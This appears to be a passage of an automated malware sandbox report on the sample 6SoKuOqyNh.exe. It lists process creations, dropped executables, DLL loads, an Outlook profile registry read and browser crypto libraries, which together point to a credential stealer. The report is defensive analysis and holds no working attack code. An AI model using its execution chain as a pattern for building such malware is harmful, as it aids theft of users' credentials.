Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Users\user\1000003002\d27375200a.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.bat C:\Users\user\1000003002\d27375200a.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2000,i,9310775074731790964,8760316038364529683,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6720 --field-trial-handle=2200,i,2508916279924330796,5575134678906347488,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe "C:\Users\user\AppData\RoamingFHJDBKJKFI.exe"
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingHJKECAAAFH.exe "C:\Users\user\AppData\RoamingHJKECAAAFH.exe"

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: propsys.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: edputil.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: wintypes.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: appresolver.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: slc.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: userenv.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: sppc.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: pcacli.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: mpr.dll
Source: C:\Users\user\1000003002\d27375200a.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 6SoKuOqyNh.exe

Static file information: File size 1870848 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 6SoKuOqyNh.exe

Static PE information: Raw size of axajwlnp is bigger than: 0x100000 < 0x197400

Source:	Binary string: mozglue.pdbP source: bfb8bb0dc7.exe, 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: freebl3.pdb source: freebl3.dll.11.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.11.dr
